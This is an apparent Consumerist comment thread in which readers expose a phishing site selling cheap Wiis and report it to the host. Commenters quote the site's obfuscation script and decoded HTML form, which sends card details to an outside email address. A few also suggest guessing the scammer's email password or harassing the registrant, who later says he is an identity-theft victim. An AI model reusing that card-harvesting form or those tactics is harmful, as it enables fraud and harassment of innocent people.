![\"user-pic\"](\"/css/images/default.gif\")
The ESRB Privacy Certified box at the bottom is kind of unnerving -- it links back to nintendo.com/privacy, but there's gotta be someone thinking, \"Well it can't be a con, it's privacy certified!\"
The ESRB Privacy Certified box at the bottom is kind of unnerving -- it links back to nintendo.com/privacy, but there's gotta be someone thinking, \"Well it can't be a con, it's privacy certified!\"
I Bought Nine! How could I go wrong! I can resell them on ebay and make millions!
LAWLS! Just their perfect target market too, dumb facebook teenagers with Daddy's credit card.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-76884-100x100.png\")
I'm no con man, but you have to be believable. Sell them at cost!
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-98787-100x100.png\")
It looks like he took the buy button and the box around it from GameStop's website.
![\"user-pic\"](\"/mt-static/support/assets_c/userpics/userpic-74864-100x100.png\")
Phone support says \"They're busy with an outage... trying \"Live Chat\"...
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-250484-100x100.png\")
I like the broken links to wii.com at the top. >.<
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-176865-100x100.png\")
The name and address check out. Either this is meant to redirect the blame to an innocent third party, or Mr. Rankin is an incredibly stupid scam artist.
I somehow don't think John took me seriously:
Welcome to Earthlink LiveChat. Your chat session will begin shortly.
Chat Information'John V' says: Thank you for contacting EarthLink LiveChat, how may I help you today?
noaddress@earthlink.com: Hi John, I'm contacting you to report fraud and ID theft using your hosting
noaddress@earthlink.com: The address is [www.wiifor99.com]
noaddress@earthlink.com: I guess the proper term would be phishing
noaddress@earthlink.com: People have reported that after the Credit Card info is collected, the site ends.
noaddress@earthlink.com: The site is being advertised on Facebook
John V: Hi, I will assist you.
noaddress@earthlink.com: I know you will. :) Scams like this are just scummy.
noaddress@earthlink.com: Granted, not everyone is as smart to recognize how bogus this site is. I'm sure you guys are all for stopping Phishing scams like this from happening.
John V: You need to take down the index page and completely rebuild it and update the passwords.
noaddress@earthlink.com: It's not my site
noaddress@earthlink.com: It's a site one of your hosting customers is advertising on Facebook to scam gullible people.
John V: [www.earthlink.net]
John V: Click on the above link and go through it.
John V: [www.earthlink.net]
John V: Check the above link instead of the first one.
noaddress@earthlink.com: Thank you John, I appreciate the assistance. :)
John V: You're welcome and thank you for using EarthLink LiveChat. Should you need further assistance, please feel free to contact us again.
John V: Bye.
noaddress@earthlink.com: That form only seems to allow me to report fraudulent emails
noaddress@earthlink.com: Not a site hosted on your network
noaddress@earthlink.com: Are you still with me John?
noaddress@earthlink.com: ?
John V: [www.irs.gov],,id=155682,00.html
John V: This third party web site link is provided by EarthLink as a convenience to you. The content or software provided on this web site is not owned or maintained by EarthLink. EarthLink is not responsible for the information, software downloads, or other material, on this third party web site. Any software you download from a third party site is subject to the license terms contained on that site.
John V: Check the above link.
noaddress@earthlink.com: I see. Ok, well thank you again for trying. Hopefully a lot of people won't give out their personal information before the govenment can react.
John V: You're welcome and thank you for using EarthLink LiveChat. Should you need further assistance, please feel free to contact us again.
Chat InformationChat session has been ended by the agent.
PS... I love that he \"gave me the tone\" right as I was about to ask who in his organization I >SHOULD< contact to get this fixed.
I wonder how many consumerist readers will see the headline \"Someone From Arkansas Is Selling Wiis For Only $99!!!\" and immediately click through to the page without realizing it's a scam... :-)
PPS... The irony that he gave me links to how Earthlink hates spammer and scammers is delicious.
[Disclaimer: This was a guy from LivePerson at their support chat, and not someone at Earthlink.]
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-127981-100x100.png\")
The \"what is this?\" link for the security code directs to the corresponding pop-up explanation on the Apple Store site.
I'd love to meet someone who fell for this scam.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-61213-100x100.png\")
A better organization to report to is probably Nintendo, which I just did. Hope they take care of it soon.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-219008-100x100.png\")
LOL!
Please don't flame me for this...but isn't his use of Nintendo's graphics considered copyright infringement?
Geez, you would think to make it more believable, the guy would offer only the Wii console.
But no. Instead, he is offering a Wii, 4 great games and a ton of other stuff...for only $99!
@Captain Sassypants: Right now there's a 12 year old somewhere, grabbing a credit card from his sleeping mom's purse and buying at least one for himself.
why is consumerist linking to the site? some dumbass will prob buy it
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-193075-100x100.png\")
well, how much is shipping?
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-105855-100x100.png\")
Fake... Period... No one and I mean NO ONE would be dumb enough to sell a Wii for $99. Not even a \"hot\" one.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-130729-100x100.png\")
The site is blocked for me on IE7 as a phishing scam!
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-158650-100x100.png\")
I sent an email to \"abuse@earthlink.net\" and \"hostmaster
@earthlink.net\".
Did consumerist fail to even report this site to earthlink? Why is it still live?
The hosting account was probably created using the registrant's credit card info and address - without his knowledge.
I also tried to \"buy\" one using a fake credit card number (but one that passes the algorithmic checks for validity - i use this to test my own shopping carts), and got an immediate error that my card number was invalid - didn't even try to process the card.
I'm sure it's set up to forward all this shit to some guy in eastern Europe.
Someone should report them to the FBI.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-213793-100x100.png\")
I'm sorry but if anybody was stupid enough to fall for that, they deserve it for being so gullible.
I called the Earthlink NOC, the guy was prety surprised that I reached them directly but said they'd \"look into it\".
He ripped the payment page images from the apple store. When you click \"what's this\" for the credit card it is even in the title. LOL douche.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-88648-100x100.png\")
Look what IE said: Internet Explorer has determined that this is a reported phishing website. Phishing websites impersonate other sites and attempt to trick you into revealing personal or financial information.
I love how he ripped everything from EB/GameStop.com and the Nintendo Store.
Even when you check out it says.. create a user name/password for the next time you log into the Nintendo Store, lol.
I entered in some fake information.. I ordered 100 Wii's and it went through! lol.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-101482-100x100.png\")
Well he first messed up by using Earthlink, Earthlink is a scientology ran business, the owner Sky Dayton is a Scientologist and participant along with his wife. They also run Helio the mobile phone no matter what they try to tell you helio is ran by earthlink which is in turn ran by scientologists.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-116473-100x100.png\")
Its a fishing website. DUDE! Dont enter your credit card info!
I didn't.. I just put in a bunch of fake gibberish. I'm not stupid.
What's a Wii?
![\"user-pic\"](\"/mt-static/support/assets_c/userpics/userpic-267279-100x100.png\")
Why has no one notified the police?
@CHIEDDY - Done and done. Reported to phishing-report@us-cert.gov and
reportphishing@antiphishing.org
Not necessarily the police, but one would hope that it will eventually bubble up to them.
And don't harass the site owner. Either this guy is a grade-A dumbass who doesn't know what WHOIS is, or the actual site owner just scammed this poor guy's credit card. Either way, let law enforcement do their job.
I tried to fill in a fake Credit Card number, and it didn't work. I guess I'll let the po-po bust hs door in. Why do they get to have all of the fun?
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-281906-100x100.png\")
Golly everyone is a bunch of negative Nellies. Maybe each of his friends and relatives got him a Wii for Christmas, and he just had too, too many. And instead of selling them for an outrageous price on ebay he thought \"I won't take advantage of the poor souls who weren't able to get one. I'll be kind and generous and sell them for only $99 so those sad, desperate gamers can have one and enjoy the joyousness that is a Wii.\"
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-174034-100x100.png\")
What a bonehead. He's going down.
Anyone try to view the HTML of the credit card page? You can't right-click on the page either, so I went to my Menu Bar to view it. Looks pretty scrambled, gotta love Javascript. I'm really curious as to what is actually going on when you submit any info to him...
My buddy Hugh Jass just ordered 10 of them, but his card numbers apparently don't pass. I suspect nothing is going to get charged to a card right away, this crook is just logging all of the entries to go over later, maybe make some real cards from.
Feel free to spam his lists all day long with garbage.
He must have something running that's a little more sophisticated than just a form that feeds CC info into a database. How is he validating CC numbers? I too put in a fake one and got rejected.
Man, I'm Justin, and yes, I did send it to nolegal@nintendo.com and everything (which, it's confusing as hell on their Wii site to report crap like this). I do appreciate you all taking it further and clogging up his ordering system with fake credit card numbers. You guys rock, haha
@tmccartney: He wouldn't have to...if it is a credit card scam, he just needs the info, and then he rejects it all, so people are like? So all credit card numbers, fake or not, will be rejected, then it goes into his database.
@tmccartney: Anything you put in there gets rejected. That way you scramble through your wallet for another card give Cpt. Schmuck there a much better chance of ripping you off.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-1833-100x100.png\")
@veritasvierge: Elderly people tend to be quite gullible, especially about things that weren't around when they were young. I'd hate to hear that somebody's grandma was phished because she wanted to buy the grandkids a present.
Ipsum Lorem is cornering the market on Wiis! Hurry folks, there's only a couple left!
I order 4, but to make sure he wasn't scamming me, I used 4 different credit cards from my mom's wallet. I will trick him!!11
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-90340-100x100.png\")
Did you ever consider he just stole the Wii's and is looking to unload them quickly? That's still a solid $99 profit per unit, after all. You people are too quick to assume something is a scam. You might just be getting stolen property!
Anyone else notice that the payment is processed in Idaho? Safelink.net... I imagine a call to them might also do the trick. It's too early now, I get a recorded message.
If you look at the page info there is an email for wehavewii@mail.com. I dunno if it is real but if anyone wants to guess some passwords....
the form is submitting to the email WeHaveWii@mail.com using a form hosted on safelink.net
![\"user-pic\"](\"/mt-static/support/assets_c/userpics/userpic-1161-100x100.png\")
The WHOIS data is likely fake.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-1504-100x100.png\")
He's only a few blocks away from the University of Arkansas, but he doesn't show up in the student directory. I feel sorry for him if someone has hijacked his identity for this deal.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-33129-100x100.png\")
The guy obviously knows SOMETHING about what he's doing.
Look at the HTML code on the \"buy\" website.
{SCRIPT LANGUAGE=\"JavaScript\">{!--
hp_ok=true;function hp_d02(s){if(!hp_ok)return;var o=\"\",ar=new Array(),os=\"\",ic=0,p=0;for(i=0;i80){ar[ic++]=os;os=\"\"}}o=ar.join(\"\")+os;document.write(o)}//-->
(The brackets have been changed so you can see the text on Consumerist)
The entire thing is encrypted so you can't see what the HTML code is. Is that code ripped from the Nintendo site as well, or did he do it on his own?
A quick google search of some of that code in the website shows references to a number of phishing websites and the following troubling phrase:
\"At the time of investigation the URL opened an active fraudulent eBay site. Additionally, the site made repeated attempts to copy information from the Windows clipboard.\"
How does that old saying go? \"If it seems too good to be true it probably is\"
God some people are walking around with rocks in their heads.
@Hambriq: Some browsers/tools let you see the \"final\" or \"rendered\" HTML so there is no hiding anything behind Javascript. Specifically Firefox with the Web Developer extension can do this. Just in case anyone is interested.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-1178-100x100.png\")
I'm going to buy a ton of these with the money I'll be getting soon from my new Nigerian friend and sell them all for a profit!
![\"user-pic\"](\"/mt-static/support/assets_c/userpics/userpic-62482-100x100.png\")
The site's down.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-111651-100x100.png\")
Someone needs to take the address and start sending all kinds of free magazine subscriptions and random dream catchers to this dude's place.
www.absurdlycool.com
Looks like the form basically emails itself (with all of your CC info) to a wehavewii@mail.com.
This guy is a just a regular fella trying to a make a few dollars while providing Wii's to teenages at a discounted price. Shame on all of you! I'm going to buy a few to support this guy. I wish all buisness people had a sence of helping out the little guy by pricing items cheeper than they cost to make, LIKE THIS HONORABLE SALESMAN! Screw you all, I'm gonna go play my WIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII's.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-95593-100x100.png\")
@gyroball:
Don't do that! Obviously the site was set up using the listed guys stolen credit card and sending this guy a bunch of crap is just going to make his day worse. The site is set up to forward the CC info to some far away place and not Arkansas.
@Craig: hey I hope that's not the same as MY Nigerian friend...He told me I was special and wanted to share his money with me....I'm starting to feel like I may not be his only special friend
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-169958-100x100.png\")
Gone
The requested resource
/
is no longer available on this server and there is no forwarding address. Please remove all references to this resource.
As has been said a few times but probably needs repeating. The name on the website probably has absolutely no connection to the con artist who is actually running this scam. So harassing the fellow in Arkansas would only result in an innocent who's already been take advantage of getting even more crap thrown at him..
Some of your information is getting redirected to safelink.net when you press the \"Continue\" button.
The plot thickens?
{form style=\"margin: 0pt; padding: 0pt;\" method=\"post\" action=\"http://safelink.net/cgi-bin/MailForm2.exe\"}
{input name=\"File\" value=\"http://wiifor99.com/949xd90t34jtvjew4-fkh6-0dt76urf0943nglthhcders8bg3p45jccu7i7y5485df9-4-4igtjs8w4tps022s2.htm\" type=\"hidden\"}{input name=\"To\" value=\"WeHaveWii@mail.com\" type=\"hidden\"{}input name=\"Subject\" value=\"New Order\" type=\"hidden\"}{input name=\"SMTP\" value=\"mail.safelink.net\" type=\"hidden\"}{input name=\"From\" value=\"o@wii.com\" type=\"hidden}
From the decrypted version of the source code of the website. (The < brackets have been replaced by { brackets so you can read it on Consumerist.)
So it looks like he is using a mailing program based on SafeLink.net, and the information is being harvested at WeHaveWii@mail.com.
Nice.
I copied and pasted the code from the website to my own, and changed the e-mail address and this is the e-mail that was delivered promptly to my inbox upon completing the form.
\"Type: American Express
Number: 12345678910
Month: 0
Year: 0
CVV2:
Name: John
LName: Doe
Address: 123 Main St
Address2:
City: Anytown
State: MA
Zip: 12345
Phone2: 123
Phone1: 4567890
Email: j@b.com
Pass:
Pass2:
cppcontinuebutton.x: 61
cppcontinuebutton.y: 7\"
So if anyone was curious as to whether or not this is a scam.... It is.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-139357-100x100.png\")
God are you a bunch of snitches. If someone wants to rip off dumb assess you don't have to hate on the guy and ruin his scam.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-88225-100x100.png\")
Earthlink doesn't do jack squat about fraud on their servers.
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-16320-100x100.png\")
ASSCORE has been snitched on to the proper authorities to ruin his scam and to just be generally hated on.
I'm sorry, bur scamming people out of there money is a horrible thing to do. It doesn't matter that to you and I this is an obvious phishing scam, those who are more naive don't deserve
still don't deserve to lose their money...
I work for a clec and manage our abuse department. I contacted Earthlinks abuse manager last night on his cell phone and informed him of the problem.
This is the email I received back from them last night, if anyone sees this guy popping up elsewhere on Earthlink their case is AB0000000993187 for this gentleman.
Hello there,
Thank you for contacting Earthlink. This issue has been resolved as we have dealt with the user in question accordingly. You shouldn't expect any more trouble from this user. If you see any more evidence of this type of activity from an Earthlink user, please make us aware of this.
Regards,
Earthlink Network Abuse
abuse@abuse.earthlink.net
This is from digg a few minutes ago from someone called \"victimpete\"
I'm Pete Rankin, and I did just speak to the bustown. For all you guys out there advocating punching me in the face, here's what my day is going to be like tomorrow: 1. Contact the FTC and report ID theft, 2. Contact the fucking morons at Earthlink, again. Hopefully get someone from this continent this time. 3. File police report, 4. File a fraud alert with experian, 5. Change my bank account, credit card, phone number, 6. Worry all day about the safety of my wife and 3 year old son, 7. Try vainly to get the all the geniuses who are smart enough to link to a satellite image of my house ( but somehow too fucking stupid to think the guy whose house they are providing a link to might not be the guy getting all those valuable cc numbers) to remove my personal information from an ever increasing number of forums and blog. Some of you guys are true intellectual titans. So have a great Friday, mines gonna be just super.
@erica.blog: Uhm yeah they do. I emailed them and the site was taken down within 12 hours. You just have to report it to the right people. The email address is usually \"abuse@domain.com\".
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-86807-100x100.png\")
Wait... is there an SD card somewhere in my Wii?
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-55499-100x100.png\")
![\"user-pic\"](\"http://consumerist.com/assets_c/userpics/userpic-87429-100x100.png\")
No https...tsk tsk